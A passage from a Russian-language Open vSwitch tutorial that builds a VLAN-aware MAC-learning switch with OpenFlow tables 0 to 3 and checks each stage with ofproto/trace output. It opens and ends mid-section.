$ ovs-ofctl add-flow br0 "table=0, dl_dst=01:80:c2:00:00:00/ff:ff:ff:ff:ff:f0, actions=drop"
```
Мы можем добавить правила для выбраковки пакетов других протоколов по принципу, показанному выше.
Нам нужно еще одно правило с приоритетом ниже приоритета по-умолчанию, чтобы пакеты, которые не были отброшены вышестоящими правилами, отправились на следующую стадию — в таблицу 1 OpenFlow.
```
$ ovs-ofctl add-flow br0 "table=0, priority=0, actions=resubmit(,1)"
```
> Действие resubmit — это часть расширения Open vSwitch для OpenFlow.
>
>
Проверяем таблицу 0
-------------------
Если мы используем Open vSwitch для настройки физического или виртуального коммутатора, нам нужно тестировать его путем отправки пакетов разными путями, например, с помощью всем известных утилит ping и tcpdump или более специализированных средств типа Scapy. Для нашего виртуального коммутатора это затруднительно, поскольку он невидим для операционной системы.
Однако виртуальный коммутатор имеет несколько специальных инструментов для тестирования. Наиболее широкий функционал предлагает ofproto/trace. Принимая на вход имя коммутатора и описание трафика, ofproto/trace пошагово демонстрирует, какие правила будут им затронуты.
#### Пример 1
Попробуйте выполнить команду:
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=01:80:c2:00:00:05
```
Вывод будет примерно таким:
```
Bridge: br0
Flow: in_port=1,vlan_tci=0x0000,dl_src=00:00:00:00:00:00,dl_dst=01:80:c2:00:00:05,dl_type=0x0000
Rule: table=0 cookie=0 dl_dst=01:80:c2:00:00:00/ff:ff:ff:ff:ff:f0
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=01:80:c2:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
Первая строка показывает параметры обрабатываемого пакета в более детализированном виде, чем мы пишем в командной строке.
Вторые несколько строк показывают путь пакета внутри коммутатора br0. Мы видим, что в таблице 0 было найдено соответствующее правило с определенным приоритетом и заданным действием. Если пакет подпадает под несколько правил, таких строк будет несколько.
Последняя группа строк отображает результат. который мы не будем здесь подробно рассматривать.
#### Пример 2
Попробуем выполнить команду
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=01:80:c2:00:00:10
```
Вывод ее будет таким:
```
Bridge: br0
Flow: in_port=1,vlan_tci=0x0000,dl_src=00:00:00:00:00:00,dl_dst=01:80:c2:00:00:10,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=1,vlan_tci=0x0000,dl_src=00:00:00:00:00:00,dl_dst=01:80:c2:00:00:10,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=01:80:c2:00:00:10/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=01:80:c2:00:00:10/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
В этом случае пакет не соответствует какому-либо правилу с действием “drop” в таблице 0, так что он попадает под правило с действием resubmit. Действие resubmit перенаправляет пакет в таблицу 1, что показано в строке
```
OpenFlow actions=resubmit(,1)
```
Мы пока еще не добавили какие-либо правила в таблицу 1 OpenFlow, так что пакет не будет соответствовать ни одному правилу. Таким образом, пакет будет отброшен, так что со стороны результат будет таким же, как и в первом примере.
Создаем таблицу 1: Обработка VLAN на входе
------------------------------------------
Пакеты, которые приходит в таблицу 1, уже прошли все основные проверки в таблице 0. Таблица 1 предназначена для прикрепления пакетов к VLAN’ам. Проверка основана на сопоставлении VLAN’а и порта, через который пакеты попадают в коммутатор. Мы также будем использовать таблицу для прикрепления заголовка VLAN к пакету, который уходит в порт агрегации, что позволит отложить стадии обработка, относящиеся к VLAN, поскольку номер VLAN всегда будет частью заголовка (за исключением особых случаев).
Начнем с добавления правила с низким приоритетом, которое будет отбрасывать все пакеты. Перед ним мы добавим правила, пропускающие нужные нам пакеты. Пусть это будет правило типа “отбрасывать по-умолчанию”
```
$ ovs-ofctl add-flow br0 "table=1, priority=0, actions=drop"
```
Порт агрегации p1 (или OpenFlow порт 1, что проще) принимает любые пакеты вне зависимости, имеют ли они или нет заголовок VLAN и каков этот заголовок. Таким образом, мы можем добавить правило, которое перенаправляет весь трафик с порта 1 в следующую таблицу:
```
$ ovs-ofctl add-flow br0 "table=1, priority=99, in_port=1, actions=resubmit(,2)"
```
На портах доступа мы можем принимать любые пакеты без заголовка VLAN, присваивать им соответствующий VLAN и передавать на следующую ступень.
```
$ ovs-ofctl add-flows br0 - <<'EOF'
table=1, priority=99, in_port=2, vlan_tci=0, actions=mod_vlan_vid:20, resubmit(,2)
table=1, priority=99, in_port=3, vlan_tci=0, actions=mod_vlan_vid:30, resubmit(,2)
table=1, priority=99, in_port=4, vlan_tci=0, actions=mod_vlan_vid:30, resubmit(,2)
EOF
```
Мы не будем писать правил. обрабатывающих пакеты с уже имеющимися метками VLAN (802.1Q), которые приходят на порты доступа, так что эти пакеты будут отброшены правилом по-умолчанию. Именно такое поведение мы и ожидаем от портов доступа.
В других случаях порты доступа пропускают пакеты, принадлежащие VLAN 0 (т.е. пакеты, отмеченные в соответствии с механизмом приоритезации трафика 802.1p). Чтобы разрешить такие пакеты, замените vlan\_tci=0 на vlan\_tci=0/0xfff в правиле выше.
Тестируем таблицу 1
-------------------
Утилита ofproto/trace позволяет нам проверить добавленные правила для управления VLAN’ами на входе в коммутатор.
#### Пример 1. Пакет на порте агрегации
Проверяем пакет, который пришел в коммутатор с порта агрегации:
```
$ ovs-appctl ofproto/trace br0 in_port=1,vlan_tci=5
```
Из вывода команду следует, что пакет проходит таблицу 0, пересылается в таблицу 1, а затем — в таблицу 2 (в которой пока еще нет правил).
```
Bridge: br0
Flow: in_port=1,vlan_tci=0x0005,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=1,vlan_tci=0x0005,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=1
OpenFlow actions=resubmit(,2)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
#### Пример 2. Корректный пакет на порте доступа
Тестируем корректный пакет (т.е. пакет без заголовка 802.1Q), приходящий на порт p2:
```
$ ovs-appctl ofproto/trace br0 in_port=2
```
Вывод этой команды похож на вывод предыдущей за исключением того, что пакету перед отправкой в таблицу 2 присваивается метка VLAN 20.
```
Bridge: br0
Flow: in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=2,vlan_tci=0x0000
OpenFlow actions=mod_vlan_vid:20,resubmit(,2)
Resubmitted flow: in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
#### Пример 3. Некорректный пакет (с заголовком 801.2Q) на порте p2
```
$ ovs-appctl ofproto/trace br0 in_port=2,vlan_tci=5
```
Вывод команды показывает, что пакет поступает в таблицу 1 и отбрасывается правилом по-умолчанию.
```
Bridge: br0
Flow: in_port=2,vlan_tci=0x0005,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=2,vlan_tci=0x0005,dl_src=00:00:00:00:00:00,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0005,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=0
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=2,vlan_tci=0x0005,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
Создаем таблицу 2: запоминаем пару MAC+VLAN на входящем порте
-------------------------------------------------------------
Таблица 2 позволяет коммутатору запомнить, какой MAC-адрес отправителя соответствует указанному порту и VLAN-метке пакета.
Эта таблица — хорошая иллюстрация того, почему VLAN-метки добавляются к пакетам, пришедшим в коммутатор через порт доступа, именно в таблице 1. Мы хотим сопоставлять пару VLAN+MAC с портом вне зависимости от того, принадлежал ли уже пакет к VLAN, когда пришел в коммутатор, или же метка VLAN была проставлена в пакете самим коммутатором.
Потребуется всего одно правило, чтобы реализовать нашу задумку. Вот оно:
```
$ ovs-ofctl add-flow br0 \
"table=2 actions=learn(table=10, NXM_OF_VLAN_TCI[0..11], \
NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[], \
load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]), \
resubmit(,3)"
```
Действие “learn” изменяет таблицу с правилами на основании содержимого пакета, который обрабатывается в данный момент. Это действие является расширением протокола OpenFlow, реализованного в Open vSwitch.
Параметры действия “learn” можно описать следующим образом:
```
table=10
```
Изменять таблицу 10. В этой таблице мы будем запоминать MAC-адреса
```
NXM_OF_VLAN_TCI[0..11]
```
Создать правило в таблице 10, которому будут соответствовать все пакеты с VLAN, равным VLAN текущего пакета. Это позволит сопоставить MAC с единственным номером VLAN, как это обычно делают коммутаторы с поддержкой VLAN
```
NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[]
```
Добавляет в созданное правило параметр “MAC-адрес получателя”, который будет равен MAC-адресу отправителя текущего пакета.
```
load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]
```
Предыдущие команды задавали параметры пакета, обрабатываемого новым правилом, а данная команда определяет действие над пакетом. Это действие загружает номер порта, с которого пришел пакет, в регистр 0 (специальное поле, определенное в Open vSwitch расширении протокола OpenFlow)
> В реальном процессе запоминания MAC-адресов могут участвовать еще два параметра. Во-первых, действие “learn” должно задавать параметр hard\_timeout для нового типа трафика, чтобы позволить коммутатору “забывать” MAC-адреса, если с данного адреса не поступает пакетов в течение некоторого разумного времени. Во-вторых, следует ограничить потребление ресурсов, ограничив число строк в таблице 10 при помощи таблицы Flow\_Table в базе данных конфигурации Open vSwitch.
Определенно, для понимания работы правила нам нужны примеры
Тестируем таблицу 2
-------------------
#### Пример 1
Для начала выполним команду:
```
$ ovs-appctl ofproto/trace br0 in_port=1,vlan_tci=20,dl_src=50:00:00:00:00:01 -generate
```
Вывод команды покажет нам, что действие “learn” выполнено и в таблицу 10 добавлено новое правило.
```
Bridge: br0
Flow: in_port=1,vlan_tci=0x0014,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=1,vlan_tci=0x0014,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=1
OpenFlow actions=resubmit(,2)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=2 cookie=0
OpenFlow actions=learn(table=10,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]),resubmit(,3)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x1fff,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
Обратите внимание на параметр -generate. Как правило, ofproto/trace не влияет на систему: действие “output” на самом деле не отправляет пакеты, действие “learn” не изменяет таблицы и так далее. С параметром -generate утилита ofproto/trace вынуждает систему выполнять действие “learn”. Это важно, поскольку мы хотим видеть применение действия “learn” в таблице 10.
Выполним команду:
```
$ ovs-ofctl dump-flows br0 table=10
```
Которая покажет примерно следующее:
```
NXST_FLOW reply (xid=0x4):
cookie=0x0, duration=4315.181s, table=10, n_packets=0, n_bytes=0, idle_age=4315, vlan_tci=0x0014/0x0fff,dl_dst=50:00:00:00:00:01 actions=load:0x1->NXM_NX_REG0[0..15]
```
Можно увидеть, что пакет с VLAN 20 и адресом отправителя 50:00:00:00:00:01 привел к созданию правила, которому соответствуют пакеты с VLAN 20 и адресом получателя 50:00:00:00:00:01. Правило загружает номер порта 1, с которого мы тестировали коммутатор, в регистр 0.
#### Пример 2
Выполним вторую команду:
```
$ ovs-appctl ofproto/trace br0 in_port=2,dl_src=50:00:00:00:00:01 -generate
```
```
Bridge: br0
Flow: in_port=2,vlan_tci=0x0000,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=2,vlan_tci=0x0000,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=2,vlan_tci=0x0000
OpenFlow actions=mod_vlan_vid:20,resubmit(,2)
Resubmitted flow: in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=2 cookie=0
OpenFlow actions=learn(table=10,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]),resubmit(,3)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00,dl_type=0x0000
Megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=50:00:00:00:00:01,dl_dst=00:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Datapath actions: drop
```
Пакет, созданный этой командой, имеет те же VLAN и MAC, что и в предыдущем примере, хотя поступает с порта доступа и изначально не имеет метки VLAN. Пакет в предыдущем примере приходил с порта доступа и уже имел заголовок 802.1Q. Теперь выведем содержимое таблицы 10
```
$ ovs-ofctl dump-flows br0 table=10
NXST_FLOW reply (xid=0x4):
cookie=0x0, duration=4355.977s, table=10, n_packets=0, n_bytes=0, idle_age=4355, hard_age=15, vlan_tci=0x0014/0x0fff,dl_dst=50:00:00:00:00:01 actions=load:0x2->NXM_NX_REG0[0..15]
```
Мы увидим, что правило изменилось, отражая тот факт, что пакет пришел с порта 2. Именно такого поведения мы и ожидали.
Создаем таблицу 3: поиск порта назначения
-----------------------------------------
В этой таблице определяется порт назначения, куда коммутатор должен направить пакет, основываясь на MAC-адресе получателя и номере VLAN. Если в таблице 2 уже обрабатывались пакеты с такими же адресами отправителя и получателя, то у нас уже есть запомненный адрес получателя и мы сразу направим пакет туда.
В этом случае нам нужно только одно правило
```
$ ovs-ofctl add-flow br0 "table=3 priority=50 actions=resubmit(,10), resubmit(,4)"
```
Это правило сначала перенаправляет пакет в таблицу 10, в которой отрабатывает правило “learn”. Как мы говорили ранее, номера портов запомненных пакетов записываются в регистр 0. Если порт назначения для нашего пакета не запомнен, ни одно правило в таблице 10 не сработает, и действие “resubmit” закончится ничем. Поскольку регистры инициализируются нулевым значением, мы можем использовать значение 0 регистра №0 как индикатор того, что пакет на следующих стадиях обработки требуется разослать по всем портам.
Второе действие — перенаправление пакета в таблицу 4, на следующую стадию обработки.
Мы можем добавить еще одно правило, чтобы пропустить поиск в таблице 10 для многоадресных и широковещательных пакетов, поскольку их всегда требуется рассылать по всем портам.
```
$ ovs-ofctl add-flow br0 "table=3 priority=99 dl_dst=01:00:00:00:00:00/01:00:00:00:00:00 actions=resubmit(,4)"
```
> В указанном выше правиле нет большой необходимости, поскольку широковещательные пакеты никогда не отображаются в таблице 10, так как мы поместили в таблицу 0 правило, отбрасывающее пакеты многоадресных протоколов.
Тестируем таблицу 3
-------------------
#### Пример
Данная команда приводит к тому, что Open vSwitch запоминает адрес f0:00:00:00:00:01 на порте p1 VLAN’а 20:
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_vlan=20,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01 -generate
```
Вывод команды показывает, что получатель пакета неизвестен, поскольку в таблице 10 не было найдено соответствующей строки.
```
Bridge: br0
Flow: in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=1
OpenFlow actions=resubmit(,2)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=2 cookie=0
OpenFlow actions=learn(table=10,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]),resubmit(,3)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=3 cookie=0 priority=50
OpenFlow actions=resubmit(,10),resubmit(,4)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: unchanged
Megaflow: recirc_id=0,in_port=1,dl_vlan=20,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Datapath actions: drop
```
Если два способа убедиться, что адрес отправителя был запомнен. Наиболее простой — вывести содержимое таблицы 10 с помощью команды:
```
$ ovs-ofctl dump-flows br0 table=10
```
которая покажет примерно следующее:
```
NXST_FLOW reply (xid=0x4):
cookie=0x0, duration=54.661s, table=10, n_packets=0, n_bytes=0, idle_age=54, vlan_tci=0x0014/0x0fff,dl_dst=f0:00:00:00:00:01 actions=load:0x1->NXM_NX_REG0[0..15]
```
> Если вы запускали предыдущие примеры, или пробовали выполнить свои собственные команды, в выводе вы можете увидеть дополнительные строки. Эти строки не должны влиять на выполнение наших команд, Если они вас смущают, вы можете удалить их с помощью команды ovs-ofctl del-flows br0 table=10
Второй способ — это сгенерировать пакет, который задействует правило запоминания адресов. Например, мы можем сгенерировать пакет на порту p2, чей адрес назначения мы только что запомнили на порте p1.
```
$ ovs-appctl ofproto/trace br0 in_port=2,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01 -generate
```
Вывод команды приведен ниже. Обратите внимание на строки, которые отображают работу действия “resubmit(,10)”. По указанным строкам можно сделать вывод, что пакет соответствует правилу, созданному на основе первого MAC-адреса, который мы использовали, и это правило загружает номер порта p1 в регистр 0.
```
Bridge: br0
Flow: in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=f0:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=2,vlan_tci=0x0000
OpenFlow actions=mod_vlan_vid:20,resubmit(,2)
Resubmitted flow: in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
